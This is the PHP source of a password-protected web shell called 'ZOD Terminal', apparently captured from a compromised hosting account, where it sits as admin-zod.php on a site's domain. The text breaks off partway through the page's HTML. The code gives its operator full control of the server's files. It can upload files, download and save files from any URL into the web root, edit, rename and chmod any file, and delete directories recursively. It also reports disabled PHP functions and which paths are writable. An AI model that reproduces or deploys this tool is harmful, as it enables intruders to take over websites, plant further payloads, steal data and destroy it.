Zod
Server: Apache
System: Linux ecngx285.inmotionhosting.com 4.18.0-553.79.1.lve.el8.x86_64 #1 SMP Wed Oct 15 17:59:35 UTC 2025 x86_64
User: zeusxp5 (3862)
PHP: 8.1.33
Disabled: NONE
Upload Files
File: /home/zeusxp5/am.agentbolaylabel.com/admin-zod.php
<?php
// ============================================
// ZOD TERMINAL v2.0 - ELITE FILE MANAGER
// ============================================
@error_reporting(0);
@ini_set('display_errors', 0);

// Start session
if (session_status() === PHP_SESSION_NONE) {
    @session_start();
}

// Security initialization
if (!isset($_SESSION['initiated'])) {
    @session_regenerate_id(true);
    $_SESSION['initiated'] = true;
}

// Password Configuration
// Generate new: php -r "echo password_hash('YOUR_PASSWORD', PASSWORD_BCRYPT);"
$PASSWORD_HASH = '$2y$12$cKVxq19OtnzoepCK69xnDO8q/XDyKNFllxVvYmxX0d9s7fnp3tExK'; // Default: password

// Rate limiting
$MAX_ATTEMPTS = 5;
$LOCKOUT_TIME = 300;

// Initialize attempt tracking
if (!isset($_SESSION['login_attempts'])) {
    $_SESSION['login_attempts'] = 0;
    $_SESSION['lockout_until'] = 0;
}

// Check lockout
if (isset($_SESSION['lockout_until']) && time() < $_SESSION['lockout_until']) {
    $remaining = $_SESSION['lockout_until'] - time();
    die("
    <!DOCTYPE html>
    <html>
    <head>
        <style>
            @import url('https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;700&display=swap');
            * { margin: 0; padding: 0; box-sizing: border-box; }
            body {
                font-family: 'JetBrains Mono', monospace;
                background: #000;
                color: #ff0040;
                min-height: 100vh;
                display: flex;
                justify-content: center;
                align-items: center;
                overflow: hidden;
            }
            body::before {
                content: '';
                position: fixed;
                top: 0;
                left: 0;
                width: 100%;
                height: 100%;
                background: repeating-linear-gradient(
                    0deg,
                    rgba(0, 0, 0, 0.15),
                    rgba(0, 0, 0, 0.15) 1px,
                    transparent 1px,
                    transparent 2px
                );
                pointer-events: none;
                z-index: 1000;
            }
            .lockout-box {
                text-align: center;
                padding: 50px;
                border: 2px solid #ff0040;
                background: rgba(255, 0, 64, 0.05);
                animation: pulse 2s infinite;
            }
            @keyframes pulse {
                0%, 100% { box-shadow: 0 0 20px rgba(255, 0, 64, 0.3); }
                50% { box-shadow: 0 0 40px rgba(255, 0, 64, 0.6); }
            }
            h2 { margin-bottom: 20px; text-shadow: 0 0 10px #ff0040; }
            .timer { font-size: 48px; font-weight: bold; }
        </style>
    </head>
    <body>
        <div class='lockout-box'>
            <h2>⛔ ACCESS DENIED</h2>
            <p>INTRUSION DETECTED - SYSTEM LOCKED</p>
            <p class='timer'>$remaining</p>
            <p>seconds remaining</p>
        </div>
    </body>
    </html>");
}

// Check authentication
if (!isset($_SESSION['authenticated']) || $_SESSION['authenticated'] !== true) {
    if (isset($_POST['password'])) {
        if (time() < $_SESSION['lockout_until']) {
            $remaining = $_SESSION['lockout_until'] - time();
            $login_error = "System locked. Retry in $remaining seconds.";
        } else {
            if (password_verify($_POST['password'], $PASSWORD_HASH)) {
                $_SESSION['authenticated'] = true;
                $_SESSION['login_attempts'] = 0;
                $_SESSION['lockout_until'] = 0;
                $_SESSION['login_time'] = time();
                @session_regenerate_id(true);
                header("Location: " . $_SERVER['PHP_SELF']);
                exit;
            } else {
                $_SESSION['login_attempts']++;
                if ($_SESSION['login_attempts'] >= $MAX_ATTEMPTS) {
                    $_SESSION['lockout_until'] = time() + $LOCKOUT_TIME;
                    $login_error = "Maximum attempts exceeded. System locked.";
                } else {
                    $remaining = $MAX_ATTEMPTS - $_SESSION['login_attempts'];
                    $login_error = "Authentication failed. [$remaining] attempts remaining.";
                }
            }
        }
    }
    
    // Show login form
    ?>
    <!DOCTYPE html>
    <html lang="en">
    <head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>ZOD :: Authentication Required</title>
    <link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@300;400;500;600;700&display=swap" rel="stylesheet">
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        
        body {
            font-family: 'JetBrains Mono', monospace;
            background: #0a0a0a;
            color: #00ff88;
            min-height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
            overflow: hidden;
        }
        
        /* Scanlines effect */
        body::before {
            content: '';
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: repeating-linear-gradient(
                0deg,
                rgba(0, 0, 0, 0.15),
                rgba(0, 0, 0, 0.15) 1px,
                transparent 1px,
                transparent 2px
            );
            pointer-events: none;
            z-index: 1000;
        }
        
        /* Matrix rain background */
        .matrix-bg {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: 
                radial-gradient(ellipse at center, rgba(0, 255, 136, 0.03) 0%, transparent 70%),
                linear-gradient(180deg, #0a0a0a 0%, #0d1a0f 100%);
            z-index: -1;
        }
        
        .login-container {
            position: relative;
            width: 100%;
            max-width: 420px;
            padding: 20px;
        }
        
        .login-box {
            background: linear-gradient(135deg, rgba(0, 255, 136, 0.03) 0%, rgba(0, 0, 0, 0.8) 100%);
            border: 1px solid rgba(0, 255, 136, 0.2);
            border-radius: 4px;
            padding: 40px;
            backdrop-filter: blur(10px);
            box-shadow: 
                0 0 40px rgba(0, 255, 136, 0.1),
                inset 0 0 60px rgba(0, 0, 0, 0.5);
            position: relative;
            overflow: hidden;
        }
        
        .login-box::before {
            content: '';
            position: absolute;
            top: 0;
            left: -100%;
            width: 100%;
            height: 2px;
            background: linear-gradient(90deg, transparent, #00ff88, transparent);
            animation: scan 3s linear infinite;
        }
        
        @keyframes scan {
            0% { left: -100%; }
            100% { left: 100%; }
        }
        
        .logo {
            text-align: center;
            margin-bottom: 30px;
        }
        
        .logo-text {
            font-size: 48px;
            font-weight: 700;
            letter-spacing: 15px;
            color: #00ff88;
            text-shadow: 
                0 0 10px #00ff88,
                0 0 20px #00ff88,
                0 0 40px #00ff88;
            animation: glow 2s ease-in-out infinite alternate;
        }
        
        @keyframes glow {
            from { text-shadow: 0 0 10px #00ff88, 0 0 20px #00ff88; }
            to { text-shadow: 0 0 20px #00ff88, 0 0 40px #00ff88, 0 0 60px #00ff88; }
        }
        
        .logo-sub {
            font-size: 10px;
            letter-spacing: 8px;
            color: #00ff8855;
            margin-top: 10px;
            text-transform: uppercase;
        }
        
        .terminal-line {
            font-size: 11px;
            color: #00ff8880;
            margin-bottom: 20px;
            padding: 10px;
            background: rgba(0, 255, 136, 0.05);
            border-left: 2px solid #00ff88;
        }
        
        .terminal-line::before {
            content: '> ';
            color: #00ff88;
        }
        
        .input-group {
            position: relative;
            margin-bottom: 20px;
        }
        
        .input-label {
            display: block;
            font-size: 10px;
            text-transform: uppercase;
            letter-spacing: 2px;
            color: #00ff8880;
            margin-bottom: 8px;
        }
        
        input[type="password"] {
            width: 100%;
            padding: 15px;
            background: rgba(0, 0, 0, 0.6);
            border: 1px solid rgba(0, 255, 136, 0.3);
            border-radius: 2px;
            color: #00ff88;
            font-family: 'JetBrains Mono', monospace;
            font-size: 14px;
            letter-spacing: 3px;
            transition: all 0.3s ease;
        }
        
        input[type="password"]:focus {
            outline: none;
            border-color: #00ff88;
            box-shadow: 0 0 20px rgba(0, 255, 136, 0.2);
            background: rgba(0, 255, 136, 0.05);
        }
        
        input[type="password"]::placeholder {
            color: #00ff8840;
            letter-spacing: 1px;
        }
        
        button {
            width: 100%;
            padding: 15px;
            background: linear-gradient(135deg, #00ff88 0%, #00cc6a 100%);
            color: #0a0a0a;
            border: none;
            border-radius: 2px;
            font-family: 'JetBrains Mono', monospace;
            font-size: 12px;
            font-weight: 600;
            letter-spacing: 3px;
            text-transform: uppercase;
            cursor: pointer;
            transition: all 0.3s ease;
            position: relative;
            overflow: hidden;
        }
        
        button:hover {
            box-shadow: 0 0 30px rgba(0, 255, 136, 0.5);
            transform: translateY(-2px);
        }
        
        button:active {
            transform: translateY(0);
        }
        
        .error {
            background: rgba(255, 0, 64, 0.1);
            border: 1px solid rgba(255, 0, 64, 0.3);
            border-left: 3px solid #ff0040;
            color: #ff0040;
            padding: 12px;
            margin-bottom: 20px;
            font-size: 11px;
            border-radius: 2px;
        }
        
        .error::before {
            content: '[ERROR] ';
            font-weight: 700;
        }
        
        .status-bar {
            display: flex;
            justify-content: space-between;
            margin-top: 25px;
            padding-top: 15px;
            border-top: 1px solid rgba(0, 255, 136, 0.1);
            font-size: 10px;
            color: #00ff8860;
        }
        
        .attempt-counter {
            display: flex;
            align-items: center;
            gap: 8px;
        }
        
        .attempt-dots {
            display: flex;
            gap: 4px;
        }
        
        .dot {
            width: 6px;
            height: 6px;
            border-radius: 50%;
            background: #00ff8830;
            transition: all 0.3s ease;
        }
        
        .dot.used {
            background: #ff0040;
            box-shadow: 0 0 10px #ff0040;
        }
        
        .system-time {
            color: #00ff8860;
        }
    </style>
    </head>
    <body>
        <div class="matrix-bg"></div>
        
        <div class="login-container">
            <div class="login-box">
                <div class="logo">
                    <div class="logo-text">ZOD</div>
                    <div class="logo-sub">Terminal Access</div>
                </div>
                
                <div class="terminal-line">
                    Initializing secure connection...
                </div>
                
                <?php if (isset($login_error)): ?>
                    <div class="error"><?php echo htmlspecialchars($login_error); ?></div>
                <?php endif; ?>
                
                <form method="post" autocomplete="off">
                    <div class="input-group">
                        <label class="input-label">Access Key</label>
                        <input type="password" name="password" placeholder="••••••••••••" required autofocus>
                    </div>
                    <button type="submit">
                        <span>Authenticate</span>
                    </button>
                </form>
                
                <div class="status-bar">
                    <div class="attempt-counter">
                        <span>ATTEMPTS:</span>
                        <div class="attempt-dots">
                            <?php for ($i = 0; $i < $MAX_ATTEMPTS; $i++): ?>
                                <div class="dot <?php echo $i < ($_SESSION['login_attempts'] ?? 0) ? 'used' : ''; ?>"></div>
                            <?php endfor; ?>
                        </div>
                    </div>
                    <div class="system-time">
                        <span id="clock"></span>
                    </div>
                </div>
            </div>
        </div>
        
        <script>
            function updateClock() {
                const now = new Date();
                document.getElementById('clock').textContent = now.toLocaleTimeString('en-US', { hour12: false });
            }
            setInterval(updateClock, 1000);
            updateClock();
        </script>
    </body>
    </html>
    <?php
    exit;
}

// ============================================
// MAIN ZOD FILE MANAGER
// ============================================

// Verify authentication
if (!isset($_SESSION['authenticated']) || $_SESSION['authenticated'] !== true) {
    session_destroy();
    header("Location: " . $_SERVER['PHP_SELF']);
    exit;
}

// Handle logout
if (isset($_GET['logout'])) {
    session_destroy();
    header("Location: " . $_SERVER['PHP_SELF']);
    exit;
}

// Continue with ZOD functionality
set_time_limit(0);

// Helper functions
function zod_success($text) {
    return "<div class='msg-success'><span class='msg-icon'>✓</span><span class='msg-text'>" . htmlspecialchars($text) . "</span></div>";
}

function zod_error($text) {
    return "<div class='msg-error'><span class='msg-icon'>✗</span><span class='msg-text'>" . htmlspecialchars($text) . "</span></div>";
}

function zod_rmdir($dir) {
    $items = @scandir($dir);
    if (!$items) return false;
    foreach ($items as $item) {
        if ($item === '.' || $item === '..') continue;
        $path = $dir . '/' . $item;
        if (is_dir($path)) {
            zod_rmdir($path);
        } else {
            @unlink($path);
        }
    }
    return @rmdir($dir);
}

function zod_perms($file) {
    $perms = @fileperms($file);
    if (!$perms) return '---------';
    
    if (($perms & 0xC000) == 0xC000) { $info = 's'; }
    elseif (($perms & 0xA000) == 0xA000) { $info = 'l'; }
    elseif (($perms & 0x8000) == 0x8000) { $info = '-'; }
    elseif (($perms & 0x6000) == 0x6000) { $info = 'b'; }
    elseif (($perms & 0x4000) == 0x4000) { $info = 'd'; }
    elseif (($perms & 0x2000) == 0x2000) { $info = 'c'; }
    elseif (($perms & 0x1000) == 0x1000) { $info = 'p'; }
    else { $info = '-'; }
    
    $info .= (($perms & 0x0100) ? 'r' : '-');
    $info .= (($perms & 0x0080) ? 'w' : '-');
    $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-'));
    $info .= (($perms & 0x0020) ? 'r' : '-');
    $info .= (($perms & 0x0010) ? 'w' : '-');
    $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-'));
    $info .= (($perms & 0x0004) ? 'r' : '-');
    $info .= (($perms & 0x0002) ? 'w' : '-');
    $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-'));
    
    return $info;
}

function zod_size($bytes) {
    if ($bytes >= 1073741824) return round($bytes/1073741824, 2) . ' GB';
    if ($bytes >= 1048576) return round($bytes/1048576, 2) . ' MB';
    if ($bytes >= 1024) return round($bytes/1024, 2) . ' KB';
    return $bytes . ' B';
}

// Get current path
if (isset($_GET['path'])) {
    $path = $_GET['path'];
    $path = str_replace('..', '', $path);
    $path = str_replace('\\', '/', $path);
} else {
    $path = getcwd();
}

if (!is_dir($path) || !is_readable($path)) {
    $path = getcwd();
}

// Process actions
$message = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // Handle file upload
    if (isset($_POST['upload_action'])) {
        if (isset($_POST['file_upload']) && isset($_FILES['file']) && $_FILES['file']['error'] === 0) {
            $target_dir = ($_POST['target_dir'] == "docroot") ? $_SERVER['DOCUMENT_ROOT'] : $path;
            $filename = basename($_FILES['file']['name']);
            $target_file = $target_dir . '/' . $filename;
            
            if (@move_uploaded_file($_FILES['file']['tmp_name'], $target_file)) {
                $message = zod_success("Upload complete: " . $target_file);
            } else {
                $message = zod_error("Upload failed: " . $target_file);
            }
        } 
        elseif (isset($_POST['url_fetch']) && !empty($_POST['fetch_url']) && !empty($_POST['fetch_name'])) {
            $target_dir = ($_POST['target_dir'] == "docroot") ? $_SERVER['DOCUMENT_ROOT'] : $path;
            $filename = basename($_POST['fetch_name']);
            $target_file = $target_dir . '/' . $filename;
            
            $content = @file_get_contents($_POST['fetch_url']);
            if ($content !== false && @file_put_contents($target_file, $content)) {
                $message = zod_success("Fetch complete: " . $target_file);
            } else {
                $message = zod_error("Fetch failed from: " . htmlspecialchars($_POST['fetch_url']));
            }
        }
    }
    
    // Handle create folder
    if (isset($_POST['create_folder']) && !empty($_POST['folder_name'])) {
        $new_folder = $path . '/' . basename($_POST['folder_name']);
        if (@mkdir($new_folder, 0755)) {
            $message = zod_success("Directory created: " . $new_folder);
        } else {
            $message = zod_error("Failed to create directory");
        }
    }
    
    // Handle create file
    if (isset($_POST['create_file']) && !empty($_POST['file_name'])) {
        $new_file = $path . '/' . basename($_POST['file_name']);
        if (@file_put_contents($new_file, '') !== false) {
            $message = zod_success("File created: " . $new_file);
        } else {
            $message = zod_error("Failed to create file");
        }
    }
    
    // Handle file actions
    if (isset($_GET['action']) && isset($_POST['target_path'])) {
        $target = $_POST['target_path'];
        switch ($_GET['action']) {
            case 'delete':
                if (is_dir($target)) {
                    zod_rmdir($target) ? $message = zod_success("Deleted: " . $target) : $message = zod_error("Delete failed: " . $target);
                } elseif (is_file($target)) {
                    @unlink($target) ? $message = zod_success("Deleted: " . $target) : $message = zod_error("Delete failed: " . $target);
                }
                break;
            case 'chmod':
                if (isset($_POST['permissions'])) {
                    @chmod($target, octdec($_POST['permissions'])) ? $message = zod_success("Chmod: " . $_POST['permissions'] . " → " . $target) : $message = zod_error("Chmod failed");
                }
                break;
            case 'rename':
                if (isset($_POST['new_name'])) {
                    $newpath = dirname($target) . '/' . $_POST['new_name'];
                    @rename($target, $newpath) ? $message = zod_success("Renamed: " . basename($target) . " → " . $_POST['new_name']) : $message = zod_error("Rename failed");
                }
                break;
            case 'edit':
                if (isset($_POST['file_content'])) {
                    @file_put_contents($target, $_POST['file_content']) !== false ? $message = zod_success("Saved: " . $target) : $message = zod_error("Save failed");
                }
                break;
        }
    }
}

// Scan directory
$items = @scandir($path);
if (!$items) {
    $items = [];
    $message = zod_error("Cannot read directory: " . $path);
}

// System info
$disabled_functions = @ini_get("disable_functions");
$df_display = empty($disabled_functions) ? "<span class='status-ok'>NONE</span>" : "<span class='status-warn'>" . htmlspecialchars(substr($disabled_functions, 0, 50)) . "...</span>";

// Writable check
function is_path_writable($p) {
    return is_writable($p) ? "<span class='status-ok'>WRITABLE</span>" : "<span class='status-err'>READ-ONLY</span>";
}

$session_uptime = isset($_SESSION['login_time']) ? time() - $_SESSION['login_time'] : 0;
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>ZOD :: <?php echo htmlspecialchars(basename($path)); ?></title>
    <link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@300;400;500;600;700&display=swap" rel="stylesheet">
    <style>
        :root {
            --bg-primary: #0a0a0a;
            --bg-secondary: #0f0f0f;
            --bg-tertiary: #141414;
            --border-color: #1a1a1a;
            --border-glow: #00ff8830;
            --text-primary: #e0e0e0;
            --text-secondary: #808080;
            --text-muted: #505050;
            --accent: #00ff88;
            --accent-dim: #00ff8840;
            --accent-glow: rgba(0, 255, 136, 0.15);
            --danger: #ff0040;
            --warning: #ffaa00;
            --info: #00aaff;
        }
        
        * { margin: 0; padding: 0; box-sizing: border-box; }
        
        body {
            font-family: 'JetBrains Mono', monospace;
            background: var(--bg-primary);
            color: var(--text-primary);
            font-size: 12px;
            line-height: 1.5;
            min-height: 100vh;
        }
        
        /* Scanlines overlay */
        body::before {
            content: '';
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: repeating-linear-gradient(
                0deg,
                rgba(0, 0, 0, 0.1),
                rgba(0, 0, 0, 0.1) 1px,
                transparent 1px,
                transparent 2px
            );
            pointer-events: none;
            z-index: 10000;
        }
        
        /* Scrollbar */
        ::-webkit-scrollbar { width: 6px; height: 6px; }
        ::-webkit-scrollbar-track { background: var(--bg-primary); }
        ::-webkit-scrollbar-thumb { background: var(--accent-dim); border-radius: 3px; }
        ::-webkit-scrollbar-thumb:hover { background: var(--accent); }
        
        .container {
            max-width: 1400px;
            margin: 0 auto;
            padding: 15px;
        }
        
        /* Header */
        .header {
            background: linear-gradient(180deg, var(--bg-secondary) 0%, var(--bg-primary) 100%);
            border: 1px solid var(--border-color);
            border-radius: 6px;
            margin-bottom: 15px;
            overflow: hidden;
        }
        
        .header-top {
            display: flex;
            justify-content: space-between;
            align-items: center;
            padding: 15px 20px;
            border-bottom: 1px solid var(--border-color);
            background: linear-gradient(90deg, var(--accent-glow) 0%, transparent 50%);
        }
        
        .logo {
            display: flex;
            align-items: center;
            gap: 15px;
        }
        
        .logo-text {
            font-size: 24px;
            font-weight: 700;
            letter-spacing: 8px;
            color: var(--accent);
            text-shadow: 0 0 20px var(--accent);
        }
        
        .logo-version {
            font-size: 9px;
            color: var(--text-muted);
            letter-spacing: 2px;
            padding: 3px 8px;
            background: var(--bg-primary);
            border: 1px solid var(--border-color);
            border-radius: 3px;
        }
        
        .header-actions {
            display: flex;
            align-items: center;
            gap: 10px;
        }
        
        .session-info {
            font-size: 10px;
            color: var(--text-muted);
            text-align: right;
        }
        
        .logout-btn {
            background: transparent;
            border: 1px solid var(--danger);
            color: var(--danger);
            padding: 6px 12px;
            border-radius: 3px;
            font-family: inherit;
            font-size: 10px;
            letter-spacing: 1px;
            text-transform: uppercase;
            cursor: pointer;
            text-decoration: none;
            transition: all 0.3s ease;
        }
        
        .logout-btn:hover {
            background: var(--danger);
            color: #fff;
            box-shadow: 0 0 20px rgba(255, 0, 64, 0.3);
        }
        
        /* System Info Grid */
        .system-grid {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(280px, 1fr));
            gap: 1px;
            background: var(--border-color);
            padding: 1px;
        }
        
        .sys-item {
            display: flex;
            padding: 10px 20px;
            background: var(--bg-secondary);
            font-size: 11px;
        }
        
        .sys-label {
            color: var(--text-muted);
            min-width: 100px;
            text-transform: uppercase;
            letter-spacing: 1px;
            font-size: 9px;
        }
        
        .sys-value {
            color: var(--text-primary);
            word-break: break-all;
        }
        
        .status-ok { color: var(--accent); }
        .status-err { color: var(--danger); }
        .status-warn { color: var(--warning); }
        
        /* Messages */
        .msg-success, .msg-error {
            display: flex;
            align-items: center;
            gap: 10px;
            padding: 12px 20px;
            margin: 15px 0;
            border-radius: 4px;
            font-size: 11px;
        }
        
        .msg-success {
            background: rgba(0, 255, 136, 0.1);
            border: 1px solid rgba(0, 255, 136, 0.3);
            color: var(--accent);
        }
        
        .msg-error {
            background: rgba(255, 0, 64, 0.1);
            border: 1px solid rgba(255, 0, 64, 0.3);
            color: var(--danger);
        }
        
        .msg-icon {
            font-size: 14px;
            font-weight: bold;
        }
        
        /* Path Navigation */
        .path-nav {
            background: var(--bg-secondary);
            border: 1px solid var(--border-color);
            border-radius: 6px;
            padding: 12px 15px;
            margin-bottom: 15px;
            display: flex;
            align-items: center;
            gap: 8px;
            overflow-x: auto;
        }
        
        .path-prefix {
            color: var(--accent);
            font-weight: 600;
        }
        
        .path-nav a {
            color: var(--info);
            text-decoration: none;
            padding: 2px 6px;
            border-radius: 3px;
            transition: all 0.2s ease;
        }
        
        .path-nav a:hover {
            background: rgba(0, 170, 255, 0.1);
            color: #fff;
        }
        
        .path-sep {
            color: var(--text-muted);
        }
        
        /* Panels */
        .panel {
            background: var(--bg-secondary);
            border: 1px solid var(--border-color);
            border-radius: 6px;
            margin-bottom: 15px;
            overflow: hidden;
        }
        
        .panel-header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            padding: 12px 15px;
            background: var(--bg-tertiary);
            border-bottom: 1px solid var(--border-color);
        }
        
        .panel-title {
            font-size: 11px;
            font-weight: 600;
            color: var(--accent);
            letter-spacing: 2px;
            text-transform: uppercase;
            display: flex;
            align-items: center;
            gap: 8px;
        }
        
        .panel-title::before {
            content: '▸';
            color: var(--accent);
        }
        
        .panel-body {
            padding: 15px;
        }
        
        /* Upload Panel */
        .upload-grid {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(300px, 1fr));
            gap: 15px;
        }
        
        .upload-section {
            background: var(--bg-primary);
            border: 1px solid var(--border-color);
            border-radius: 4px;
            padding: 15px;
        }
        
        .upload-section-title {
            font-size: 10px;
            color: var(--text-muted);
            text-transform: uppercase;
            letter-spacing: 1px;
            margin-bottom: 12px;
            padding-bottom: 8px;
            border-bottom: 1px dashed var(--border-color);
        }
        
        .target-selector {
            display: flex;
            gap: 15px;
            margin-bottom: 12px;
        }
        
        .radio-option {
            display: flex;
            align-items: center;
            gap: 6px;
            font-size: 11px;
            cursor: pointer;
        }
        
        .radio-option input[type="radio"] {
            accent-color: var(--accent);
        }
        
        input[type="text"],
        input[type="file"],
        textarea,
        select {
            width: 100%;
            background: var(--bg-primary);
            border: 1px solid var(--border-color);
            border-radius: 3px;
            padding: 10px 12px;
            color: var(--text-primary);
            font-family: 'JetBrains Mono', monospace;
            font-size: 11px;
            transition: all 0.2s ease;
            margin-bottom: 8px;
        }
        
        input[type="text"]:focus,
        textarea:focus {
            outline: none;
            border-color: var(--accent);
            box-shadow: 0 0 0 2px var(--accent-glow);
        }
        
        input[type="file"] {
            padding: 8px;
            cursor: pointer;
        }
        
        input[type="file"]::file-selector-button {
            background: var(--accent);
            color: #000;
            border: none;
            padding: 6px 12px;
            border-radius: 3px;
            font-family: inherit;
            font-size: 10px;
            font-weight: 600;
            cursor: pointer;
            margin-right: 10px;
        }
        
        /* Buttons */
        .btn {
            display: inline-flex;
            align-items: center;
            justify-content: center;
            gap: 6px;
            padding: 8px 16px;
            border: 1px solid var(--border-color);
            border-radius: 3px;
            background: var(--bg-tertiary);
            color: var(--text-primary);
            font-family: 'JetBrains Mono', monospace;
            font-size: 10px;
            font-weight: 500;
            letter-spacing: 1px;
            text-transform: uppercase;
            cursor: pointer;
            transition: all 0.2s ease;
            text-decoration: none;
        }
        
        .btn:hover {
            border-color: var(--accent);
            color: var(--accent);
        }
        
        .btn-primary {
            background: var(--accent);
            border-color: var(--accent);
            color: #000;
        }
        
        .btn-primary:hover {
            background: #00cc6a;
            box-shadow: 0 0 20px var(--accent-glow);
            color: #000;
        }
        
        .btn-danger {
            border-color: var(--danger);
            color: var(--danger);
        }
        
        .btn-danger:hover {
            background: var(--danger);
            color: #fff;
        }
        
        .btn-sm {
            padding: 4px 8px;
            font-size: 9px;
        }
        
        /* File Table */
        .file-table {
            overflow-x: auto;
        }
        
        table {
            width: 100%;
            border-collapse: collapse;
        }
        
        th {
            text-align: left;
            padding: 12px 15px;
            background: var(--bg-tertiary);
            font-size: 9px;
            font-weight: 600;
            text-transform: uppercase;
            letter-spacing: 1px;
            color: var(--text-muted);
            border-bottom: 1px solid var(--border-color);
        }
        
        td {
            padding: 10px 15px;
            border-bottom: 1px solid var(--border-color);
            font-size: 11px;
        }
        
        tr:hover td {
            background: var(--bg-tertiary);
        }
        
        .file-icon {
            display: inline-flex;
            align-items: center;
            justify-content: center;
            width: 24px;
            height: 24px;
            margin-right: 8px;
            font-size: 14px;
        }
        
        .file-name {
            color: var(--text-primary);
            text-decoration: none;
            display: inline-flex;
            align-items: center;
            transition: color 0.2s ease;
        }
        
        .file-name:hover {
            color: var(--accent);
        }
        
        .file-name.dir {
            color: var(--info);
        }
        
        .file-name.dir:hover {
            color: var(--accent);
        }
        
        .file-size {
            color: var(--text-muted);
            text-align: right;
            font-size: 10px;
        }
        
        .file-perms {
            font-size: 10px;
            color: var(--text-muted);
            font-family: 'JetBrains Mono', monospace;
        }
        
        .file-perms.writable {
            color: var(--accent);
        }
        
        .file-actions {
            display: flex;
            gap: 4px;
            align-items: center;
        }
        
        .action-select {
            font-size: 9px;
            padding: 4px 8px;
            min-width: 80px;
            background: var(--bg-primary);
        }
        
        /* Quick Actions */
        .quick-actions {
            display: flex;
            gap: 15px;
            flex-wrap: wrap;
        }
        
        .quick-form {
            display: flex;
            gap: 8px;
            align-items: center;
        }
        
        .quick-form input[type="text"] {
            width: 200px;
            margin-bottom: 0;
        }
        
        /* Editor */
        .editor-container {
            margin: 15px 0;
        }
        
        .editor-header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            padding: 10px 15px;
            background: var(--bg-tertiary);
            border: 1px solid var(--border-color);
            border-bottom: none;
            border-radius: 6px 6px 0 0;
        }
        
        .editor-file {
            display: flex;
            align-items: center;
            gap: 8px;
            color: var(--accent);
            font-size: 11px;
        }
        
        .editor-actions {
            display: flex;
            gap: 8px;
        }
        
        .code-editor {
            width: 100%;
            min-height: 400px;
            background: var(--bg-primary);
            border: 1px solid var(--border-color);
            border-radius: 0 0 6px 6px;
            padding: 15px;
            color: var(--text-primary);
            font-family: 'JetBrains Mono', monospace;
            font-size: 12px;
            line-height: 1.6;
            resize: vertical;
            margin-bottom: 0;
        }
        
        .code-editor:focus {
            outline: none;
            border-color: var(--accent);
        }
        
        /* File Preview */
        .file-preview {
            background: var(--bg-primary);
            border: 1px solid var(--border-color);
            border-radius: 6px;
            margin: 15px 0;
            overflow: hidden;
        }
        
        .preview-header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            padding: 10px 15px;
            background: var(--bg-tertiary);
            border-bottom: 1px solid var(--border-color);
        }
        
        .preview-content {
            padding: 15px;
            overflow-x: auto;
        }
        
        .preview-content pre {
            margin: 0;
            font-size: 11px;
            line-height: 1.5;
            color: var(--text-secondary);
        }
        
        /* Footer */
        .footer {
            text-align: center;
            padding: 30px;
            margin-top: 20px;
            border-top: 1px solid var(--border-color);
        }
        
        .footer-logo {
            font-size: 18px;
            font-weight: 700;
            letter-spacing: 6px;
            color: var(--accent);
            text-shadow: 0 0 20px var(--accent);
            margin-bottom: 15px;
        }
        
        .footer-info {
            font-size: 10px;
            color: var(--text-muted);
            margin-bottom: 15px;
        }
        
        .telegram-btn {
            display: inline-flex;
            align-items: center;
            gap: 8px;
            background: linear-gradient(135deg, #0088cc 0%, #0066aa 100%);
            color: #fff;
            text-decoration: none;
            padding: 10px 20px;
            border-radius: 4px;
            font-size: 11px;
            font-weight: 500;
            letter-spacing: 1px;
            transition: all 0.3s ease;
        }
        
        .telegram-btn:hover {
            box-shadow: 0 0 30px rgba(0, 136, 204, 0.4);
            transform: translateY(-2px);
        }
        
        .telegram-btn svg {
            width: 16px;
            height: 16px;
        }
        
        /* Responsive */
        @media (max-width: 768px) {
            .container { padding: 10px; }
            .header-top { flex-direction: column; gap: 15px; text-align: center; }
            .upload-grid { grid-template-columns: 1fr; }
            .quick-actions { flex-direction: column; }
            .quick-form { width: 100%; }
            .quick-form input[type="text"] { flex: 1; width: auto; }
            th, td { padding: 8px 10px; font-size: 10px; }
            .file-actions { flex-wrap: wrap; }
        }
        
        /* Animations */
        @keyframes fadeIn {
            from { opacity: 0; transform: translateY(-10px); }
            to { opacity: 1; transform: translateY(0); }
        }
        
        .panel, .msg-success, .msg-error {
            animation: fadeIn 0.3s ease;
        }
    </style>
</head>
<body>
    <div class="container">
        <!-- Header -->
        <div class="header">
            <div class="header-top">
                <div class="logo">
                    <span class="logo-text">ZOD</span>
                    <span class="logo-version">v2.0</span>
                </div>
                <div class="header-actions">
                    <div class="session-info">
                        SESSION: <?php echo substr(session_id(), 0, 8); ?><br>
                        UPTIME: <?php echo floor($session_uptime / 60) . 'm ' . ($session_uptime % 60) . 's'; ?>
                    </div>
                    <a href="?logout=1" class="logout-btn">Terminate</a>
                </div>
            </div>
            
            <div class="system-grid">
                <div class="sys-item">
                    <span class="sys-label">Server</span>
                    <span class="sys-value"><?php echo htmlspecialchars($_SERVER['SERVER_SOFTWARE'] ?? 'Unknown'); ?></span>
                </div>
                <div class="sys-item">
                    <span class="sys-label">System</span>
                    <span class="sys-value"><?php echo htmlspecialchars(php_uname('s') . ' ' . php_uname('r')); ?></span>
                </div>
                <div class="sys-item">
                    <span class="sys-label">User</span>
